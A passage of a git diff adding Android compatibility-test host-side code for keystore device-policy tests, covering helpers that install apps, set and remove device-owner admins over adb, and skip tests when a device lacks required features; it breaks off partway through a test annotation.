+    private boolean mSkipDeviceAdminFeatureCheck = false;
+
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    protected static final int USER_SYSTEM = 0; // From the UserHandle class.
+
+    protected static final int USER_OWNER = USER_SYSTEM;
+
+    private static final long TIMEOUT_USER_REMOVED_MILLIS = TimeUnit.SECONDS.toMillis(15);
+    private static final long WAIT_SAMPLE_INTERVAL_MILLIS = 200;
+
+    /**
+     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+     * command output from the device. At any time, if the shell command does not output anything
+     * for a period longer than defined timeout the Tradefed run terminates.
+     */
+    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(20);
+
+    /**
+     * Sets timeout (in milliseconds) that will be applied to each test. In the
+     * event of a test timeout it will log the results and proceed with executing the next test.
+     */
+    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(10);
+
+    /**
+     * The amount of milliseconds to wait for the remove user calls in {@link #tearDown}.
+     * This is a temporary measure until b/114057686 is fixed.
+     */
+    private static final long USER_REMOVE_WAIT = TimeUnit.SECONDS.toMillis(5);
+
+    /**
+     * The amount of milliseconds to wait for the switch user calls in {@link #tearDown}.
+     */
+    private static final long USER_SWITCH_WAIT = TimeUnit.SECONDS.toMillis(5);
+
+    // From the UserInfo class
+    protected static final int FLAG_GUEST = 0x00000004;
+    protected static final int FLAG_EPHEMERAL = 0x00000100;
+    protected static final int FLAG_MANAGED_PROFILE = 0x00000020;
+
+    /**
+     * The {@link android.os.BatteryManager} flags value representing all charging types; {@link
+     * android.os.BatteryManager#BATTERY_PLUGGED_AC}, {@link
+     * android.os.BatteryManager#BATTERY_PLUGGED_USB}, and {@link
+     * android.os.BatteryManager#BATTERY_PLUGGED_WIRELESS}.
+     */
+    private static final int STAY_ON_WHILE_PLUGGED_IN_FLAGS = 7;
+
+    /**
+     * User ID for all users.
+     * The value is from the UserHandle class.
+     */
+    protected static final int USER_ALL = -1;
+
+    private static final String TEST_UPDATE_LOCATION = "/data/local/tmp/cts/deviceowner";
+
+    /**
+     * Copied from {@link android.app.admin.DevicePolicyManager
+     * .InstallSystemUpdateCallback#UPDATE_ERROR_UPDATE_FILE_INVALID}
+     */
+    protected static final int UPDATE_ERROR_UPDATE_FILE_INVALID = 3;
+
+    protected CompatibilityBuildHelper mBuildHelper;
+    private String mPackageVerifier;
+
+    /** Packages installed as part of the tests */
+    private Set<String> mFixedPackages;
+
+    protected int mDeviceOwnerUserId;
+    protected int mPrimaryUserId;
+
+    /** Record the initial user ID. */
+    protected int mInitialUserId;
+
+    protected boolean mHasAttestation;
+
+    private static final String VERIFY_CREDENTIAL_CONFIRMATION = "Lock credential verified";
+
+    @Rule
+    public final DeviceAdminFeaturesCheckerRule mFeaturesCheckerRule =
+            new DeviceAdminFeaturesCheckerRule(this);
+
+    @Before
+    public void setUp() throws Exception {
+        assertNotNull(getBuild());  // ensure build has been set before test is run.
+
+        mFixedPackages = getDevice().getInstalledPackageNames();
+
+        String propertyValue = getDevice().getProperty("ro.product.first_api_level");
+        if (propertyValue != null && !propertyValue.isEmpty()) {
+            mHasAttestation = Integer.parseInt(propertyValue) >= 26;
+        }
+
+        // disable the package verifier to avoid the dialog when installing an app
+        mPackageVerifier = getDevice().executeShellCommand(
+                "settings get global verifier_verify_adb_installs");
+        getDevice().executeShellCommand("settings put global verifier_verify_adb_installs 0");
+
+        if (!isHeadlessSystemUserMode()) {
+            mDeviceOwnerUserId = mPrimaryUserId = getPrimaryUser();
+        } else {
+            // For headless system user, all tests will be executed on current user
+            // and therefore, initial user is set as primary user for test purpose.
+            mPrimaryUserId = mInitialUserId;
+            mDeviceOwnerUserId = USER_SYSTEM;
+        }
+
+        getDevice().executeShellCommand(" mkdir " + TEST_UPDATE_LOCATION);
+
+        removeOwners();
+
+        // Unlock keyguard before test
+        wakeupAndDismissKeyguard();
+        stayAwake();
+        // Go to home.
+        executeShellCommand("input keyevent KEYCODE_HOME");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // reset the package verifier setting to its original value
+        getDevice().executeShellCommand("settings put global verifier_verify_adb_installs "
+                + mPackageVerifier);
+        removeOwners();
+
+        removeTestPackages();
+        getDevice().executeShellCommand(" rm -r " + TEST_UPDATE_LOCATION);
+    }
+
+    protected void installAppAsUser(String appFileName, int userId) throws FileNotFoundException,
+            DeviceNotAvailableException {
+        installAppAsUser(appFileName, true, userId);
+    }
+
+    protected void installAppAsUser(String appFileName, boolean grantPermissions, int userId)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        installAppAsUser(appFileName, grantPermissions, /* dontKillApp */ false, userId);
+    }
+
+    protected void installAppAsUser(String appFileName, boolean grantPermissions,
+            boolean dontKillApp, int userId)
+                    throws FileNotFoundException, DeviceNotAvailableException {
+        CLog.e("Installing app %s for user %d", appFileName, userId);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        List<String> extraArgs = new LinkedList<>();
+        extraArgs.add("-t");
+        // Make the test app queryable by other apps via PackageManager APIs.
+        extraArgs.add("--force-queryable");
+        if (dontKillApp) extraArgs.add("--dont-kill");
+        String result = getDevice().installPackageForUser(
+                buildHelper.getTestFile(appFileName), true, grantPermissions, userId,
+                extraArgs.toArray(new String[extraArgs.size()]));
+        assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
+                result);
+    }
+
+    protected void installAppIncremental(String appFileName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        final String signatureSuffix = ".idsig";
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File apk = buildHelper.getTestFile(appFileName);
+        assertNotNull(apk);
+        final File idsig = buildHelper.getTestFile(appFileName + signatureSuffix);
+        assertNotNull(idsig);
+        final String remoteApkPath = TEST_UPDATE_LOCATION + "/" + apk.getName();
+        final String remoteIdsigPath = remoteApkPath + signatureSuffix;
+        assertTrue(getDevice().pushFile(apk, remoteApkPath));
+        assertTrue(getDevice().pushFile(idsig, remoteIdsigPath));
+        String installResult = getDevice().executeShellCommand(
+                "pm install-incremental -t -g " + remoteApkPath);
+        assertEquals("Success\n", installResult);
+    }
+
+    protected void installDeviceOwnerApp(String apk) throws Exception {
+        installAppAsUser(apk, mDeviceOwnerUserId);
+
+        if (isHeadlessSystemUserMode()) {
+            // Need to explicitly install the device owner app for the current user (rather than
+            // relying on DPMS) so it has the same privileges (like INTERACT_ACROSS_USERS) as the
+            // app running on system user, otherwise some tests might fail
+            installAppAsUser(apk, mPrimaryUserId);
+        }
+    }
+
+    protected void removeDeviceOwnerAdmin(String componentName) throws DeviceNotAvailableException {
+        // Don't fail as it could hide the real failure from the test method
+        if (!removeAdmin(componentName, mDeviceOwnerUserId)) {
+            CLog.e("Failed to remove device owner %s on user %d", componentName,
+                    mDeviceOwnerUserId);
+        }
+        if (isHeadlessSystemUserMode() && !removeAdmin(componentName, mPrimaryUserId)) {
+            CLog.e("Failed to remove profile owner %s on user %d", componentName, mPrimaryUserId);
+        }
+    }
+
+    protected void forceStopPackageForUser(String packageName, int userId) throws Exception {
+        // TODO Move this logic to ITestDevice
+        executeShellCommand("am force-stop --user " + userId + " " + packageName);
+    }
+
+    protected String executeShellCommand(String commandTemplate, Object...args) throws Exception {
+        return executeShellCommand(String.format(commandTemplate, args));
+    }
+
+    protected String executeShellCommand(String command) throws Exception {
+        CLog.d("Starting command %s", command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        CLog.d("Output for command %s: %s", command, commandOutput);
+        return commandOutput;
+    }
+
+    protected ArrayList<Integer> listUsers() throws DeviceNotAvailableException {
+        return getDevice().listUsers();
+    }
+
+    protected  ArrayList<Integer> listRunningUsers() throws DeviceNotAvailableException {
+        ArrayList<Integer> runningUsers = new ArrayList<>();
+        for (int userId : listUsers()) {
+            if (getDevice().isUserRunning(userId)) {
+                runningUsers.add(userId);
+            }
+        }
+        return runningUsers;
+    }
+
+    /** Removes any packages that were installed during the test. */
+    protected void removeTestPackages() throws Exception {
+        for (String packageName : getDevice().getUninstallablePackageNames()) {
+            if (mFixedPackages.contains(packageName)) {
+                continue;
+            }
+            CLog.w("removing leftover package: " + packageName);
+            getDevice().uninstallPackage(packageName);
+        }
+    }
+
+    protected void runDeviceTestsAsUser(
+            String pkgName, @Nullable String testClassName, int userId)
+            throws DeviceNotAvailableException {
+        runDeviceTestsAsUser(pkgName, testClassName, /* testMethodName= */ null, userId);
+    }
+
+    protected void runDeviceTestsAsUser(
+            String pkgName, @Nullable String testClassName, String testMethodName, int userId)
+            throws DeviceNotAvailableException {
+        Map<String, String> params = Collections.emptyMap();
+        runDeviceTestsAsUser(pkgName, testClassName, testMethodName, userId, params);
+    }
+
+    protected void runDeviceTestsAsUser(
+            String pkgName, @Nullable String testClassName,
+            @Nullable String testMethodName, int userId,
+            Map<String, String> params) throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        CLog.i("runDeviceTestsAsUser(): user=%d, pkg=%s class=%s, test=%s", userId, pkgName,
+                testClassName, testMethodName);
+        runDeviceTests(
+                getDevice(),
+                RUNNER,
+                pkgName,
+                testClassName,
+                testMethodName,
+                userId,
+                DEFAULT_TEST_TIMEOUT_MILLIS,
+                DEFAULT_SHELL_TIMEOUT_MILLIS,
+                0L /* maxInstrumentationTimeoutMs */,
+                true /* checkResults */,
+                false /* isHiddenApiCheckDisabled */,
+                params);
+    }
+
+    protected int getPrimaryUser() throws DeviceNotAvailableException {
+        return getDevice().getPrimaryUserId();
+    }
+
+    protected int getCurrentUser() throws DeviceNotAvailableException {
+        return getDevice().getCurrentUser();
+    }
+
+    protected int getUserSerialNumber(int userId) throws DeviceNotAvailableException{
+        // TODO: Move this logic to ITestDevice.
+        // dumpsys user output contains lines like "UserInfo{0:Owner:13} serialNo=0 isPrimary=true"
+        final Pattern pattern =
+                Pattern.compile("UserInfo\\{" + userId + ":[^\\n]*\\sserialNo=(\\d+)\\s");
+        final String commandOutput = getDevice().executeShellCommand("dumpsys user");
+        final Matcher matcher = pattern.matcher(commandOutput);
+        if (matcher.find()) {
+            return Integer.parseInt(matcher.group(1));
+        }
+        fail("Couldn't find serial number for user " + userId);
+        return -1;
+    }
+
+    private String setDeviceAdminInner(String componentName, int userId)
+            throws DeviceNotAvailableException {
+        String command = "dpm set-active-admin --user " + userId + " '" + componentName + "'";
+        String commandOutput = getDevice().executeShellCommand(command);
+        return commandOutput;
+    }
+
+    protected void setDeviceAdmin(String componentName, int userId)
+            throws DeviceNotAvailableException {
+        String commandOutput = setDeviceAdminInner(componentName, userId);
+        CLog.d("Output for command " + commandOutput
+                + ": " + commandOutput);
+        assertTrue(commandOutput + " expected to start with \"Success:\"",
+                commandOutput.startsWith("Success:"));
+    }
+
+    protected boolean setDeviceOwner(String componentName, int userId, boolean expectFailure)
+            throws DeviceNotAvailableException {
+        String command = "dpm set-device-owner --user " + userId + " '" + componentName + "'";
+        String commandOutput = getDevice().executeShellCommand(command);
+        boolean success = commandOutput.startsWith("Success:");
+        // If we succeeded always log, if we are expecting failure don't log failures
+        // as call stacks for passing tests confuse the logs.
+        if (success || !expectFailure) {
+            CLog.d("Output for command " + command + ": " + commandOutput);
+        } else {
+            CLog.d("Command Failed " + command);
+        }
+        return success;
+    }
+
+    protected void setDeviceOwnerExpectingFailure(String componentName, int userId)
+            throws Exception {
+        assertFalse(setDeviceOwner(componentName, userId, /* expectFailure =*/ true));
+    }
+
+
+    protected void affiliateUsers(String deviceAdminPkg, int userId1, int userId2)
+            throws Exception {
+        CLog.d("Affiliating users %d and %d on admin package %s", userId1, userId2, deviceAdminPkg);
+        runDeviceTestsAsUser(
+                deviceAdminPkg, ".AffiliationTest", "testSetAffiliationId1", userId1);
+        runDeviceTestsAsUser(
+                deviceAdminPkg, ".AffiliationTest", "testSetAffiliationId1", userId2);
+    }
+
+    protected boolean removeAdmin(String componentName, int userId)
+            throws DeviceNotAvailableException {
+        String command = "dpm remove-active-admin --user " + userId + " '" + componentName + "'";
+        String commandOutput = getDevice().executeShellCommand(command);
+        CLog.d("Output for command " + command + ": " + commandOutput);
+        return commandOutput.startsWith("Success:");
+    }
+
+    // Tries to remove and profile or device owners it finds.
+    protected void removeOwners() throws DeviceNotAvailableException {
+        String command = "dumpsys device_policy";
+        String commandOutput = getDevice().executeShellCommand(command);
+        String[] lines = commandOutput.split("\\r?\\n");
+        for (int i = 0; i < lines.length; ++i) {
+            String line = lines[i].trim();
+            if (line.contains("Profile Owner")) {
+                // Line is "Profile owner (User <id>):
+                String[] tokens = line.split("\\(|\\)| ");
+                int userId = Integer.parseInt(tokens[4]);
+                i++;
+                line = lines[i].trim();
+                // Line is admin=ComponentInfo{<component>}
+                tokens = line.split("\\{|\\}");
+                String componentName = tokens[1];
+                CLog.w("Cleaning up profile owner " + userId + " " + componentName);
+                removeAdmin(componentName, userId);
+            } else if (line.contains("Device Owner:")) {
+                i++;
+                line = lines[i].trim();
+                // Line is admin=ComponentInfo{<component>}
+                String[] tokens = line.split("\\{|\\}");
+                String componentName = tokens[1];
+                // Skip to user id line.
+                i += 4;
+                line = lines[i].trim();
+                // Line is User ID: <N>
+                tokens = line.split(":");
+                int userId = Integer.parseInt(tokens[1].trim());
+                CLog.w("Cleaning up device owner " + userId + " " + componentName);
+                removeAdmin(componentName, userId);
+            }
+        }
+    }
+
+    protected void wakeupAndDismissKeyguard() throws Exception {
+        executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        executeShellCommand("wm dismiss-keyguard");
+    }
+
+    private void stayAwake() throws Exception {
+        executeShellCommand(
+                "settings put global stay_on_while_plugged_in " + STAY_ON_WHILE_PLUGGED_IN_FLAGS);
+    }
+
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException {
+        return isHeadlessSystemUserMode(getDevice());
+    }
+
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    public static boolean isHeadlessSystemUserMode(ITestDevice device)
+            throws DeviceNotAvailableException {
+        final String result = device
+                .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim();
+        return "true".equalsIgnoreCase(result);
+    }
+
+    /**
+     * Generates instrumentation arguments that indicate the device-side test is exercising device
+     * owner APIs.
+     *
+     * <p>This is needed for hostside tests that use the same class hierarchy for both device and
+     * profile owner tests, as on headless system user mode the test side must decide whether to
+     * use its "local DPC" or wrap the calls to the system user DPC.
+     */
+    protected static Map<String, String> getParamsForDeviceOwnerTest() {
+        Map<String, String> params = new HashMap<>();
+        params.put("admin_type", "DeviceOwner");
+        return params;
+    }
+}
diff --git a/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java b/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java
new file mode 100644
index 0000000..a57a51f
--- /dev/null
+++ b/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java
@@ -0,0 +1,230 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts.devicepolicy;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Custom rule used to skip tests when the device doesn't have {@value #FEATURE_DEVICE_ADMIN} and/or
+ * additional features (as defined the {@link RequiresAdditionalFeatures} and
+ * {@link DoesNotRequireFeature} annotations.
+ */
+public final class DeviceAdminFeaturesCheckerRule implements TestRule {
+
+    public static final String FEATURE_BACKUP = "android.software.backup";
+    public static final String FEATURE_DEVICE_ADMIN = "android.software.device_admin";
+    public static final String FEATURE_MANAGED_USERS = "android.software.managed_users";
+
+    private final BaseDevicePolicyTest mTest;
+
+    private boolean mHasRequiredFeatures;
+
+    public DeviceAdminFeaturesCheckerRule(BaseDevicePolicyTest test) {
+        mTest = test;
+    }
+
+    @Override
+    public Statement apply(final Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                ITestDevice testDevice = mTest.getDevice();
+                assumeTrue("Test device is not available", testDevice != null);
+
+                int apiLevel = testDevice.getApiLevel();
+                assumeTrue("Device API level is " + apiLevel + ", minimum required is 21",
+                        apiLevel >= 21); // requires Build.VERSION_CODES.L
+
+                String testName = description.getDisplayName();
+
+                TemporarilyIgnoreOnHeadlessSystemUserMode temporarilyIgnoredAnnotation = description
+                        .getAnnotation(TemporarilyIgnoreOnHeadlessSystemUserMode.class);
+                if (temporarilyIgnoredAnnotation != null
+                        && BaseDevicePolicyTest.isHeadlessSystemUserMode(testDevice)) {
+                    throw new AssumptionViolatedException(
+                            "TEMPORARILY skipping " + testName + " on headless system user mode "
+                                    + "(reason: " + temporarilyIgnoredAnnotation.reason() + ")");
+                }
+
+                IgnoreOnHeadlessSystemUserMode ignoredAnnotation = description
+                        .getAnnotation(IgnoreOnHeadlessSystemUserMode.class);
+                if (ignoredAnnotation != null
+                        && BaseDevicePolicyTest.isHeadlessSystemUserMode(testDevice)) {
+                    throw new AssumptionViolatedException(
+                            "Skipping " + testName + " on headless system user mode (reason: "
+                                    + ignoredAnnotation.reason() + ")");
+                }
+
+                List<String> requiredFeatures = new ArrayList<>();
+                requiredFeatures.add(FEATURE_DEVICE_ADMIN);
+
+                // Method annotations
+                addRequiredAdditionalFeatures(requiredFeatures, description
+                        .getAnnotation(RequiresAdditionalFeatures.class));
+                addRequiredManagedUsersFeature(requiredFeatures, testDevice, description
+                        .getAnnotation(RequiresProfileOwnerSupport.class));
+
+                // Class annotations
+                Class<?> clazz = description.getTestClass();
+                while (clazz != Object.class) {
+                    addRequiredAdditionalFeatures(requiredFeatures,
+                            clazz.getAnnotation(RequiresAdditionalFeatures.class));
+                    addRequiredManagedUsersFeature(requiredFeatures, testDevice,
+                            clazz.getAnnotation(RequiresProfileOwnerSupport.class));
+                    clazz = clazz.getSuperclass();
+                }
+
+                CLog.v("Required features for test %s: %s", testName, requiredFeatures);
+
+                List<String> missingFeatures = new ArrayList<>(requiredFeatures.size());
+                for (String requiredFeature : requiredFeatures) {
+                    if (!testDevice.hasFeature(requiredFeature)) {
+                        missingFeatures.add(requiredFeature);
+                    }
+                }
+
+                mHasRequiredFeatures = missingFeatures.isEmpty();
+
+                if (!mHasRequiredFeatures) {
+                    DoesNotRequireFeature bypass = description
+                            .getAnnotation(DoesNotRequireFeature.class);
+                    if (bypass != null) {
+                        CLog.i("Device is missing features (%s), but running test %s anyways "
+                                + "because of %s annotation", missingFeatures, testName, bypass);
+                    } else {
+                        throw new AssumptionViolatedException("Device does not have the following "
+                                + "features: " + missingFeatures);
+                    }
+                }
+
+                // Finally, give the test a chance to be skipped
+                //mTest.assumeTestEnabled();
+
+                base.evaluate();
+            }
+
+            private void addRequiredAdditionalFeatures(List<String> requiredFeatures,
+                    RequiresAdditionalFeatures annotation) {
+                if (annotation == null) return;
+
+                for (String additionalFeature : annotation.value()) {
+                    requiredFeatures.add(additionalFeature);
+                }
+            }
+
+            private void addRequiredManagedUsersFeature(List<String> requiredFeatures,
+                    ITestDevice testDevice, RequiresProfileOwnerSupport annotation)
+                    throws DeviceNotAvailableException {
+                if (annotation == null) return;
+
+                if (BaseDevicePolicyTest.isHeadlessSystemUserMode(testDevice)) {
+                    CLog.i("Not requiring feature %s on headless system user mode",
+                            FEATURE_MANAGED_USERS);
+                    return;
+                }
+
+                requiredFeatures.add(FEATURE_MANAGED_USERS);
+            }
+        };
+    }
+
+    /**
+     * Checks if the device has the required features for this test.
+     */
+    public boolean hasRequiredFeatures() {
+        return mHasRequiredFeatures;
+    }
+
+    /**
+     * Used to annotate a test method that should run if when the device doesn't have the features
+     * required by the test class.
+     *
+     * <p><b>NOTE: </b>it doesn't work when used on overridden test methods (as {@code JUnit} will
+     * only return the annotations of the superclass method).
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.METHOD})
+    public static @interface DoesNotRequireFeature {
+    }
+
+    /**
+     * Sets additional required features for a given test class or method.
+     *
+     * <p><b>NOTE: </b>it doesn't work when used on overridden test methods (as {@code JUnit} will
+     * only return the annotations of the superclass method).
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.TYPE, ElementType.METHOD})
+    public static @interface RequiresAdditionalFeatures {
+        String[] value();
+    }
+
+
+    // TODO(b/183105338): remove annotation if FEATURE_MANAGED_USERS is split into separate features
+    // for profile owner and managed profile support.
+    /**
+     * Used to annotated a test method or class that requires profile owner support.
+     *
+     * <p>Traditionally, these tests were looking for the {@code FEATURE_MANAGE_USERS} feature, but
+     * on headless system mode devices a profile owner is created in the current user when the
+     * device owner is set on system user, even if the device doesn't support the feature - this
+     * annotation takes care of both cases.
+     *
+     * <p><b>NOTE: </b>it doesn't work when used on overridden test methods (as {@code JUnit} will
+     * only return the annotations of the superclass method).
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.TYPE, ElementType.METHOD})
+    public static @interface RequiresProfileOwnerSupport {
+    }
+
+    /**
+     * TODO(b/132260693): STOPSHIP - temporary annotation used on tests that haven't been fixed to
+     * run on headless system user yet
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.METHOD})
+    public static @interface TemporarilyIgnoreOnHeadlessSystemUserMode {
+        String bugId();
+        String reason();
+    }
+
+    /**
+     * Annotation used on tests that cannot run on devices that use headless system user mode.
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.METHOD})
+    public static @interface IgnoreOnHeadlessSystemUserMode {
+        String reason();
+    }
+}
diff --git a/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/DeviceAndProfileOwnerTest.java
new file mode 100644
index 0000000..182b8ce
--- /dev/null
+++ b/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts.devicepolicy;
+
+import android.keystore.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.TemporarilyIgnoreOnHeadlessSystemUserMode;
+import com.android.compatibility.common.util.ApiTest;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.io.File;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Set of tests for use cases that apply to profile and device owner.
+ * This class is the base class of MixedProfileOwnerTest, MixedDeviceOwnerTest and
+ * MixedManagedProfileOwnerTest and is abstract to avoid running spurious tests.
+ *
+ * NOTE: Not all tests are executed in the subclasses. Sometimes, if a test is not applicable to
+ * a subclass, they override it with an empty method.
+ */
+public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
+
+    public static final String DEVICE_ADMIN_PKG = "com.android.cts.keystore.deviceowner";
+    public static final String DEVICE_ADMIN_APK = "CtsKeystoreDeviceOwnerApp.apk";
+    protected static final String ADMIN_RECEIVER_TEST_CLASS
+            = ".BaseDeviceAdminTest$BasicAdminReceiver";
+    protected static final String DEVICE_ADMIN_COMPONENT_FLATTENED =
+            DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS;
+
+    // ID of the user all tests are run as. For device owner this will be the current user, for
+    // profile owner it is the user id of the created profile.
+    protected int mUserId;
+
+    @Override
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+
+        // Press the HOME key to close any alart dialog that may be shown.
+        getDevice().executeShellCommand("input keyevent 3");
+
+        super.tearDown();
+    }
+
+    @ApiTest(apis={"android.app.admin.DevicePolicyManager#generateKeyPair",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_IMEI",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_MEID",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_SERIAL"})
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
+            reason = "Will be migrated to new test infra")
+    @Test
+    public void testKeyManagement() throws Exception {
+        executeDeviceTestClass(".KeyManagementTest");
+    }
+
+    protected void executeDeviceTestClass(String className) throws Exception {
+        executeDeviceTestMethod(className, /* testName= */ null);
+    }
+
+    protected void executeDeviceTestClass(String className, int userId) throws Exception {
+        executeDeviceTestMethod(className, /* testName= */ null, userId);
+    }
+
+    protected void executeDeviceTestMethod(String className, String testName) throws Exception {
+        executeDeviceTestMethod(className, testName, /* params= */ new HashMap<>());
+    }
+
+    protected void executeDeviceTestMethod(String className, String testName, int userId)
+            throws Exception {
+        executeDeviceTestMethod(className, testName, userId, /* params= */ new HashMap<>());
+    }
+
+    protected void executeDeviceTestMethod(String className, String testName,
+            Map<String, String> params) throws Exception {
+        executeDeviceTestMethod(className, testName, mUserId, params);
+    }
+
+    protected void executeDeviceTestMethod(String className, String testName, int userId,
+            Map<String, String> params) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, userId, params);
+    }
+}
diff --git a/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/MixedDeviceOwnerTest.java b/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/MixedDeviceOwnerTest.java
new file mode 100644
index 0000000..8329eab
--- /dev/null
+++ b/tests/tests/keystore/hostside/src/android/keystore/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts.devicepolicy;
+
+import static org.junit.Assert.fail;
+import com.android.compatibility.common.util.ApiTest;
+import android.keystore.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.TemporarilyIgnoreOnHeadlessSystemUserMode;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Set of tests for device owner use cases that also apply to profile owners.
+ * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
+ */
+public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
+
+    private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
+
+    private boolean mDeviceOwnerSet;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mUserId = mPrimaryUserId;
+
+        CLog.i("%s.setUp(): mUserId=%d, mPrimaryUserId=%d, mInitialUserId=%d, "
+                + "mDeviceOwnerUserId=%d", getClass(), mUserId, mPrimaryUserId, mInitialUserId,
+                mDeviceOwnerUserId);
+
+        installDeviceOwnerApp(DEVICE_ADMIN_APK);
+        mDeviceOwnerSet = setDeviceOwner(DEVICE_ADMIN_COMPONENT_FLATTENED, mDeviceOwnerUserId,
+                /*expectFailure= */ false);
+
+        if (!mDeviceOwnerSet) {
+            removeDeviceOwnerAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set device owner on user " + mDeviceOwnerUserId);
+        }
+        if (isHeadlessSystemUserMode()) {
+            affiliateUsers(DEVICE_ADMIN_PKG, mDeviceOwnerUserId, mPrimaryUserId);
+        }
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mDeviceOwnerSet) {
+            removeDeviceOwnerAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED);
+        }
+        super.tearDown();
+    }
+
+    @ApiTest(apis={"android.app.admin.DevicePolicyManager#generateKeyPair",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_IMEI",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_MEID",
+            "android.app.admin.DevicePolicyManager#ID_TYPE_SERIAL"})
+    @Override
+    @Test
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
